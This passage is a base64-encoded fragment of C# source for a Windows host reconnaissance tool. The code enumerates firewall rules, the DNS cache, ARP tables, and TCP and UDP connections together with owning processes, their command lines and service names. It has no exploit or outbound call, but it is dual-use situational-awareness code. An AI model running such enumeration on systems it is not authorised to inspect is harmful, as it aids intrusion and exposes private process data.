1vdGVBZGRyZXNzZXMsIFJlbW90ZVBvcnRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAvLyBtYW51YWxseSBtb3ZlIHRoZSBlbnVtZXJhdG9yCiAgICAgICAgICAgICAgICAgICAgZW51bWVyYXRvci5Nb3ZlTmV4dCgpOwogICAgICAgICAgICAgICAgICAgIGN1cnJlbnRJdGVtID0gZW51bWVyYXRvci5DdXJyZW50OwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgTWFyc2hhbC5SZWxlYXNlQ29tT2JqZWN0KGZpcmV3YWxsT2JqKTsKICAgICAgICAgICAgICAgIGZpcmV3YWxsT2JqID0gbnVsbDsKICAgICAgICAgICAgfQogICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uIGV4KQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBbWF0gRXhjZXB0aW9uOiB7MH0iLCBleCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBMaXN0RE5TQ2FjaGUoKQogICAgICAgIHsKICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IEROUyBDYWNoZSAodmlhIFdNSSkgPT09XHJcbiIpOwoKICAgICAgICAgICAgLy8gbGlzdHMgdGhlIGxvY2FsIEROUyBjYWNoZSB2aWEgV01JIChNU0ZUX0ROU0NsaWVudENhY2hlIGNsYXNzKQogICAgICAgICAgICB0cnkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgTWFuYWdlbWVudE9iamVjdFNlYXJjaGVyIHdtaURhdGEgPSBuZXcgTWFuYWdlbWVudE9iamVjdFNlYXJjaGVyKEAicm9vdFxzdGFuZGFyZGNpbXYyIiwgIlNFTEVDVCAqIEZST00gTVNGVF9ETlNDbGllbnRDYWNoZSIpOwogICAgICAgICAgICAgICAgTWFuYWdlbWVudE9iamVjdENvbGxlY3Rpb24gZGF0YSA9IHdtaURhdGEuR2V0KCk7CgogICAgICAgICAgICAgICAgZm9yZWFjaCAoTWFuYWdlbWVudE9iamVjdCByZXN1bHQgaW4gZGF0YSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBFbnRyeSAgICAgICAgIDogezB9IiwgcmVzdWx0WyJFbnRyeSJdKTsKICAgICAgICAgICAgICAgICAgIC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sZCBhIG1hcHBpbmcgb2YgaW5kZXggLT4gaW50ZXJmYWNlIGluZm9ybWF0aW9uCiAgICAgICAgICAgICAgICBmb3JlYWNoIChOZXR3b3JrSW50ZXJmYWNlIG5pIGluIE5ldHdvcmtJbnRlcmZhY2UuR2V0QWxsTmV0d29ya0ludGVyZmFjZXMoKSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBpZiAobmkgIT0gbnVsbCkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIElQSW50ZXJmYWNlUHJvcGVydGllcyBhZGFwdGVyUHJvcGVydGllcyA9IG5pLkdldElQUHJvcGVydGllcygpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoYWRhcHRlclByb3BlcnRpZXMgIT0gbnVsbCkKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIGRuc1NlcnZlcnMgPSAiIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIExpc3Q8c3RyaW5nPiBkbnNTZXJ2ZXJMaXN0ID0gbmV3IExpc3Q8c3RyaW5nPigpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgSVBBZGRyZXNzQ29sbGVjdGlvbiBkbnNTZXJ2ZXJDb2xsZWN0aW9uID0gYWRhcHRlclByb3BlcnRpZXMuRG5zQWRkcmVzc2VzOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGRuc1NlcnZlckNvbGxlY3Rpb24uQ291bnQgPiAwKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKElQQWRkcmVzcyBkbnMgaW4gZG5zU2VydmVyQ29sbGVjdGlvbikKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRuc1NlcnZlckxpc3QuQWRkKGRucy5Ub1N0cmluZygpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZG5zU2VydmVycyA9IFN0cmluZy5Kb2luKCIsICIsIGRuc1NlcnZlckxpc3QuVG9BcnJheSgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0cnkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJUHY0SW50ZXJmYWNlUHJvcGVydGllcyBwID0gYWRhcHRlclByb3BlcnRpZXMuR2V0SVB2NFByb3BlcnRpZXMoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAocCAhPSBudWxsKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXJyYXlMaXN0IGlwcyA9IG5ldyBBcnJheUxpc3QoKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKFVuaWNhc3RJUEFkZHJlc3NJbmZvcm1hdGlvbiBpbmZvIGluIGFkYXB0ZXJQcm9wZXJ0aWVzLlVuaWNhc3RBZGRyZXNzZXMpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChSZWdleC5Jc01hdGNoKGluZm8uQWRkcmVzcy5Ub1N0cmluZygpLCBAIl4oXGQrKVwuKFxkKylcLihcZCspXC4oXGQrKSQiKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBncmFiIGFsbCB0aGUgSVB2NCBhZGRyZXNzZXMKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpcHMuQWRkKGluZm8uQWRkcmVzcy5Ub1N0cmluZygpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBidWlsZCBhICJFdGhlcm5ldDEgKDE3Mi4xNi4yMTMuMjQ2KSAtLS0gSW5kZXggOCIgdHlwZSBzdHJpbmcgZm9yIHRoZSBpbmRleAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmcgZGVzY3JpcHRpb24gPSBTdHJpbmcuRm9ybWF0KCJ7MH0gKHsxfSkgLS0tIEluZGV4IHsyfSIsIG5pLk5hbWUsIHN0cmluZy5Kb2luKCIsIiwgKHN0cmluZ1tdKWlwcy5Ub0FycmF5KFR5cGUuR2V0VHlwZSgiU3lzdGVtLlN0cmluZyIpKSksIHAuSW5kZXgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIVN0cmluZy5Jc051bGxPckVtcHR5KGRuc1NlcnZlcnMpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZXNjcmlwdGlvbiArPSBTdHJpbmcuRm9ybWF0KCJcclxuICAgIEROUyBTZXJ2ZXJzIDogezB9XHJcbiIsIGRuc1NlcnZlcnMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkYXB0ZXJzLkFkZChwLkluZGV4LCBkZXNjcmlwdGlvbik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2F0Y2ggeyB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaW50IGJ5dGVzTmVlZGVkID0gMDsKCiAgICAgICAgICAgICAgICBpbnQgcmVzdWx0ID0gR2V0SXBOZXRUYWJsZShJbnRQdHIuWmVybywgcmVmIGJ5dGVzTmVlZGVkLCBmYWxzZSk7CgogICAgICAgICAgICAgICAgLy8gY2FsbCB0aGUgZnVuY3Rpb24sIGV4cGVjdGluZyBhbiBpbnN1ZmZpY2llbnQgYnVmZmVyLgogICAgICAgICAgICAgICAgaWYgKHJlc3VsdCAhPSBFUlJPUl9JTlNVRkZJQ0lFTlRfQlVGRkVSKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFtYXSBFeGNlcHRpb246IHswfSIsIHJlc3VsdCk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgSW50UHRyIGJ1ZmZlciA9IEludFB0ci5aZXJvOwoKICAgICAgICAgICAgICAgIC8vIGFsbG9jYXRlIHN1ZmZpY2llbnQgbWVtb3J5IGZvciB0aGUgcmVzdWx0IHN0cnVjdHVyZQogICAgICAgICAgICAgICAgYnVmZmVyID0gTWFyc2hhbC5BbGxvY0NvVGFza01lbShieXRlc05lZWRlZCk7CgogICAgICAgICAgICAgICAgcmVzdWx0ID0gR2V0SXBOZXRUYWJsZShidWZmZXIsIHJlZiBieXRlc05lZWRlZCwgZmFsc2UpOwoKICAgICAgICAgICAgICAgIGlmIChyZXN1bHQgIT0gMCkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBbWF0gRXhjZXB0aW9uIGFsbG9jYXRpbmcgYnVmZmVyOiB7MH0iLCByZXN1bHQpOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIC8vIG5vdyB3ZSBoYXZlIHRoZSBidWZmZXIsIHdlIGhhdmUgdG8gbWFyc2hhbCBpdC4gV2UgY2FuIHJlY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XMuT3JkZXJCeShvID0+IG8uZHdJbmRleCkuVG9MaXN0KCk7CiAgICAgICAgICAgICAgICBpbnQgY3VycmVudEluZGV4QWRhcGVyID0gLTE7CgogICAgICAgICAgICAgICAgZm9yZWFjaCAoTUlCX0lQTkVUUk9XIGFycEVudHJ5IGluIHNvcnRlZEFSUEVudHJpZXMpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgaW50IGluZGV4QWRhcHRlciA9IGFycEVudHJ5LmR3SW5kZXg7CgogICAgICAgICAgICAgICAgICAgIGlmIChjdXJyZW50SW5kZXhBZGFwZXIgIT0gaW5kZXhBZGFwdGVyKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGFkYXB0ZXJzLkNvbnRhaW5zS2V5KGluZGV4QWRhcHRlcikpCiAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuXHJcbiAgSW50ZXJmYWNlICAgICA6IHswfSIsIGFkYXB0ZXJzW2luZGV4QWRhcHRlcl0pOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuICBJbnRlcmZhY2UgICAgIDogbi9hIC0tLSBJbmRleCB7MH0iLCBpbmRleEFkYXB0ZXIpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgSW50ZXJuZXQgQWRkcmVzcyAgICAgIFBoeXNpY2FsIEFkZHJlc3MgICAgICBUeXBlIik7CiAgICAgICAgICAgICAgICAgICAgICAgIGN1cnJlbnRJbmRleEFkYXBlciA9IGluZGV4QWRhcHRlcjsKICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgIElQQWRkcmVzcyBpcEFkZHIgPSBuZXcgSVBBZGRyZXNzKEJpdENvbnZlcnRlci5HZXRCeXRlcyhhcnBFbnRyeS5kd0FkZHIpKTsKICAgICAgICAgICAgICAgICAgICBieXRlW10gbWFjQnl0ZXMgPSBuZXcgYnl0ZVtdIHsgYXJwRW50cnkubWFjMCwgYXJwRW50cnkubWFjMSwgYXJwRW50cnkubWFjMiwgYXJwRW50cnkubWFjMywgYXJwRW50cnkubWFjNCwgYXJwRW50cnkubWFjNSB9OwogICAgICAgICAgICAgICAgICAgIHN0cmluZyBwaHlzQWRkciA9IEJpdENvbnZlcnRlci5Ub1N0cmluZyhtYWNCeXRlcyk7CiAgICAgICAgICAgICAgICAgICAgQXJwRW50cnlUeXBlIGVudHJ5VHlwZSA9IChBcnBFbnRyeVR5cGUpYXJwRW50cnkuZHdUeXBlOwoKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZShTdHJpbmcuRm9ybWF0KCIgICAgezAsLTIyfXsxLC0yMn17Mn0iLCBpcEFkZHIsIHBoeXNBZGRyLCBlbnRyeVR5cGUpKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBGcmVlTWliVGFibGUoYnVmZmVyKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uIGV4KQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBbWF0gRXhjZXB0aW9uOiB7MH0iLCBleCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIC8vIGhlbHBlciB0aGF0IGdldHMgYSBzZXJ2aWNlIG5hbWUgZnJvbSBhIHNlcnZpY2UgdGFnCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgc3RyaW5nIEdldFNlcnZpY2VOYW1lRnJvbVRhZyh1aW50IFByb2Nlc3NJZCwgdWludCBTZXJ2aWNlVGFnKQogICAgICAgIHsKICAgICAgICAgICAgU0NfU0VSVklDRV9UQUdfUVVFUlkgc2VydmljZVRhZ1F1ZXJ5ID0gbmV3IFNDX1NFUlZJQ0VfVEFHX1FVRVJZCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIFByb2Nlc3NJZCA9IFByb2Nlc3NJZCwKICAgICAgICAgICAgICAgIFNlcnZpY2VUYWcgPSBTZXJ2aWNlVGFnCiAgICAgICAgICAgIH07CgogICAgICAgICAgICB1aW50IHJlcyA9IElfUXVlcnlUYWdJbmZvcm1hdGlvbihJbnRQdHIuWmVybywgU0NfU0VSVklDRV9UQUdfUVVFUllfVFlQRS5TZXJ2aWNlTmFtZUZyb21UYWdJbmZvcm1hdGlvbiwgcmVmIHNlcnZpY2VUYWdRdWVyeSk7CiAgICAgICAgICAgIGlmIChyZXMgPT0gRVJST1JfU1VDQ0VTUykKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgcmV0dXJuIE1hcnNoYWwuUHRyVG9TdHJpbmdVbmkoc2VydmljZVRhZ1F1ZXJ5LkJ1ZmZlcik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICByZXR1cm4gbnVsbDsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIExpc3RBbGxUY3BDb25uZWN0aW9ucygpCiAgICAgICAgewogICAgICAgICAgICBpbnQgQUZfSU5FVCA9IDI7ICAgIC8vIElQX3Y0CiAgICAgICAgICAgIHVpbnQgdGFibGVCdWZmZXJTaXplID0gMDsKICAgICAgICAgICAgdWludCByZXQgPSAwOwogICAgICAgICAgICBJbnRQdHIgdGFibGVCdWZmZXIgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgSW50UHRyIHJvd1B0ciA9IEludFB0ci5aZXJvOwogICAgICAgICAgICBNSUJfVENQVEFCTEVfT1dORVJfTU9EVUxFIG93bmVyTW9kdWxlVGFibGU7CiAgICAgICAgICAgIE1JQl9UQ1BST1dfT1dORVJfTU9EVUxFW10gVGNwUm93czsKICAgICAgICAgICAgRGljdGlvbmFyeTxzdHJpbmcsIHN0cmluZz4gcHJvY2Vzc2VzID0gbmV3IERpY3Rpb25hcnk8c3RyaW5nLCBzdHJpbmc+KCk7CgogICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcblxyXG49PT0gQWN0aXZlIFRDUCBOZXR3b3JrIENvbm5lY3Rpb25zID09PVxyXG4iKTsKCiAgICAgICAgICAgIHRyeQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAvLyBBZGFwdGVkIGZyb20gaHR0cHM6Ly9zdGFja292ZXJmbG93LmNvbS9xdWVzdGlvbnMvNTc3NDMzL3doaWNoLXBpZC1saXN0ZW5zLW9uLWEtZ2l2ZW4tcG9ydC1pbi1jLXNoYXJwLzU3NzY2MCM1Nzc2NjAKICAgICAgICAgICAgICAgIC8vIEJ1aWxkIGEgUElEIC0+IHByb2Nlc3MgbmFtZSBsb29rdXAgdGFibGUKICAgICAgICAgICAgICAgIE1hbmFnZW1lbnRPYmplY3RTZWFyY2hlciBzZWFyY2hlciA9IG5ldyBNYW5hZ2VtZW50T2JqZWN0U2VhcmNoZXIoIlNFTEVDVCAqIEZST00gV2luMzJfUHJvY2VzcyIpOwogICAgICAgICAgICAgICAgTWFuYWdlbWVudE9iamVjdENvbGxlY3Rpb24gcmV0T2JqZWN0Q29sbGVjdGlvbiA9IHNlYXJjaGVyLkdldCgpOwoKICAgICAgICAgICAgICAgIGZvcmVhY2ggKE1hbmFnZW1lbnRPYmplY3QgUHJvY2VzcyBpbiByZXRPYmplY3RDb2xsZWN0aW9uKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIGlmIChQcm9jZXNzWyJDb21tYW5kTGluZSJdICE9IG51bGwpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBwcm9jZXNzZXMuQWRkKFBy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SsrKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIE1JQl9UQ1BST1dfT1dORVJfTU9EVUxFIHRjcFJvdyA9CiAgICAgICAgICAgICAgICAgICAgICAgIChNSUJfVENQUk9XX09XTkVSX01PRFVMRSlNYXJzaGFsLlB0clRvU3RydWN0dXJlKHJvd1B0ciwgdHlwZW9mKE1JQl9UQ1BST1dfT1dORVJfTU9EVUxFKSk7CiAgICAgICAgICAgICAgICAgICAgVGNwUm93c1tpXSA9IHRjcFJvdzsKICAgICAgICAgICAgICAgICAgICAvLyBuZXh0IGVudHJ5CiAgICAgICAgICAgICAgICAgICAgcm93UHRyID0gKEludFB0cikoKGxvbmcpcm93UHRyICsgTWFyc2hhbC5TaXplT2YodGNwUm93KSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgTG9jYWwgQWRkcmVzcyAgICAgICAgICBGb3JlaWduIEFkZHJlc3MgICAgICAgIFN0YXRlICAgICAgUElEICAgU2VydmljZSAgICAgICAgIFByb2Nlc3NOYW1lIik7CiAgICAgICAgICAgICAgICBmb3JlYWNoIChNSUJfVENQUk9XX09XTkVSX01PRFVMRSBlbnRyeSBpbiBUY3BSb3dzKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIHN0cmluZyBwcm9jZXNzTmFtZSA9ICIiOwogICAgICAgICAgICAgICAgICAgIHRyeQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgcHJvY2Vzc05hbWUgPSBwcm9jZXNzZXNbZW50cnkuT3duaW5nUGlkLlRvU3RyaW5nKCldOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBjYXRjaCB7IH0KCiAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHNlcnZpY2VOYW1lID0gR2V0U2VydmljZU5hbWVGcm9tVGFnKGVudHJ5Lk93bmluZ1BpZCwgKHVpbnQpZW50cnkuT3duaW5nTW9kdWxlSW5mbzApOwoKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZShTdHJpbmcuRm9ybWF0KCIgIHswLC0yM317MSwtMjN9ezIsLTExfXszLC02fXs0LC0xNX0gezV9IiwgZW50cnkuTG9jYWxBZGRyZXNzICsgIjoiICsgZW50cnkuTG9jYWxQb3J0LCBlbnRyeS5SZW1vdGVBZGRyZXNzICsgIjoiICsgZW50cnkuUmVtb3RlUG9ydCwgZW50cnkuU3RhdGUsIGVudHJ5Lk93bmluZ1BpZCwgc2VydmljZU5hbWUsIHByb2Nlc3NOYW1lKSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiBleCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgW1hdIEV4Y2VwdGlvbjogezB9IiwgZXguTWVzc2FnZSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZmluYWxseQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBpZiAodGFibGVCdWZmZXIgIT0gSW50UHRyLlplcm8pCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgTWFyc2hhbC5GcmVlSEdsb2JhbCh0YWJsZUJ1ZmZlcik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBMaXN0QWxsVWRwQ29ubmVjdGlvbnMoKQogICAgICAgIHsKICAgICAgICAgICAgaW50IEFGX0lORVQgPSAyOyAgICAvLyBJUF92NAogICAgICAgICAgICB1aW50IHRhYmxlQnVmZmVyU2l6ZSA9IDA7CiAgICAgICAgICAgIHVpbnQgcmV0ID0gMDsKICAgICAgICAgICAgSW50UHRyIHRhYmxlQnVmZmVyID0gSW50UHRyLlplcm87CiAgICAgICAgICAgIEludFB0ciByb3dQdHIgPS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ExpbmUiXSAhPSBudWxsKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgcHJvY2Vzc2VzLkFkZChQcm9jZXNzWyJQcm9jZXNzSWQiXS5Ub1N0cmluZygpLCBQcm9jZXNzWyJDb21tYW5kTGluZSJdLlRvU3RyaW5nKCkpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBwcm9jZXNzZXMuQWRkKFByb2Nlc3NbIlByb2Nlc3NJZCJdLlRvU3RyaW5nKCksIFByb2Nlc3NbIk5hbWUiXS5Ub1N0cmluZygpKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLy8gRmlndXJlIG91dCBob3cgbXVjaCBtZW1vcnkgd2UgbmVlZCBmb3IgdGhlIHJlc3VsdCBzdHJ1Y3QKICAgICAgICAgICAgICAgIHJldCA9IEdldEV4dGVuZGVkVWRwVGFibGUoSW50UHRyLlplcm8sIHJlZiB0YWJsZUJ1ZmZlclNpemUsIHRydWUsIEFGX0lORVQsIFVEUF9UQUJMRV9DTEFTUy5VRFBfVEFCTEVfT1dORVJfTU9EVUxFLCAwKTsKICAgICAgICAgICAgICAgIGlmIChyZXQgIT0gRVJST1JfU1VDQ0VTUyAmJiByZXQgIT0gRVJST1JfSU5TVUZGSUNJRU5UX0JVRkZFUikKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAvLyAxMjIgPT0gaW5zdWZmaWNpZW50IGJ1ZmZlciBzaXplCiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiBbWF0gQmFkIGNoZWNrIHZhbHVlIGZyb20gR2V0RXh0ZW5kZWRVZHBUYWJsZSA6IHswfSIsIHJldCk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIHRhYmxlQnVmZmVyID0gTWFyc2hhbC5BbGxvY0hHbG9iYWwoKGludCl0YWJsZUJ1ZmZlclNpemUpOwoKICAgICAgICAgICAgICAgIHJldCA9IEdldEV4dGVuZGVkVWRwVGFibGUodGFibGVCdWZmZXIsIHJlZiB0YWJsZUJ1ZmZlclNpemUsIHRydWUsIEFGX0lORVQsIFVEUF9UQUJMRV9DTEFTUy5VRFBfVEFCTEVfT1dORVJfTU9EVUxFLCAwKTsKICAgICAgICAgICAgICAgIGlmIChyZXQgIT0gRVJST1JfU1VDQ0VTUykKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiIFtYXSBCYWQgcmV0dXJuIHZhbHVlIGZyb20gR2V0RXh0ZW5kZWRVZHBUYWJsZSA6IHswfSIsIHJldCk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIC8vIGdldCB0aGUgbnVtYmVyIG9mIGVudHJpZXMgaW4gdGhlIHRhYmxlCiAgICAgICAgICAgICAgICBvd25lck1vZHVsZVRhYmxlID0gKE1JQl9VRFBUQUJMRV9PV05FUl9NT0RVTEUpTWFyc2hhbC5QdHJUb1N0cnVjdHVyZSh0YWJsZUJ1ZmZlciwgdHlwZW9mKE1JQl9VRFBUQUJMRV9PV05FUl9NT0RVTEUpKTsKICAgICAgICAgICAgICAgIHJvd1B0ciA9IChJbnRQdHIpKHRhYmxlQnVmZmVyLlRvSW50NjQoKSArIE1hcnNoYWwuT2Zmc2V0T2YodHlwZW9mKE1JQl9VRFBUQUJMRV9PV05FUl9NT0RVTEUpLCAiVGFibGUiKS5Ub0ludDY0KCkpOwogICAgICAgICAgICAgICAgVWRwUm93cyA9IG5ldyBNSUJfVURQUk9XX09XTkVSX01PRFVMRVtvd25lck1vZHVsZVRhYmxlLk51bUVudHJpZXNdOwoKICAgICAgICAgICAgICAgIGZvciAoaW50IGkgPSAwOyBpIDwgb3duZXJNb2R1bGVUYWJsZS5OdW1FbnRyaWVzOyBpKyspCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgTUlCX1VEUFJPV19PV05FUl9NT0RVTEUgdWRwUm93ID0KICAgICAgICAgICAgICAgICAgICAgICAgKE1JQl9VRFBST1dfT1dORVJfTU9EVUxFKU1hcnNoYWwuUHRyVG9TdHJ1Y3R1cmUocm93UHRyLCB0eXBlb2YoTUlCX1VEUFJPV19PV05FUl9NT0RVTEUpKTsKICAgICAgICAgICAgICAgICAgICBVZHBSb3dzW2ldID0gdWRwUm93OwogICAgICAgICAgICAgICAgICAgIC8vIG5leHQgZW50cnkKICAgICAgICAgICAgICAgICAgICByb3dQdHIgPSAoSW50UHRyKSgobG9uZylyb3dQdHIgKyBNYXJzaGFsLlNpemVPZih1ZHBSb3cpKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBMb2NhbCBBZGRyZXNzICAgICAgICAgIFBJRCAgICBTZXJ2aWNlICAgICAgICAgICAgICAgICBQcm9jZXNzTmFtZSIpOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoTUlCX1VEUFJPV19PV05FUl9NT0RVTEUgZW50cnkgaW4gVWRwUm93cykKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBzdHJpbmcgcHJvY2Vzc05hbWUgPSAiIjsKICAgICAgICAgICAgICAgICAgICB0cnkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIHByb2Nlc3NOYW1lID0gcHJvY2Vzc2VzW2VudHJ5Lk93bmluZ1BpZC5Ub1N0cmluZygpXTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgY2F0Y2ggeyB9CiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHNlcnZpY2VOYW1lID0gR2V0U2VydmljZU5hbWVGcm9tVGFnKGVudHJ5Lk93bmluZ1BpZCwgKHVpbnQpZW50cnkuT3duaW5nTW9kdWxlSW5mbzApOwoKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZShTdHJpbmcuRm9ybWF0KCIgIHswLC0yM317MSwtN317MiwtMjN9IHszfSIsIGVudHJ5LkxvY2FsQWRkcmVzcyArICI6IiArIGVudHJ5LkxvY2FsUG9ydCwgZW50cnkuT3duaW5nUGlkLCBzZXJ2aWNlTmFtZSwgcHJvY2Vzc05hbWUpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uIGV4KQogICAgICAgICAgICB7CiAgICAgICAgICAg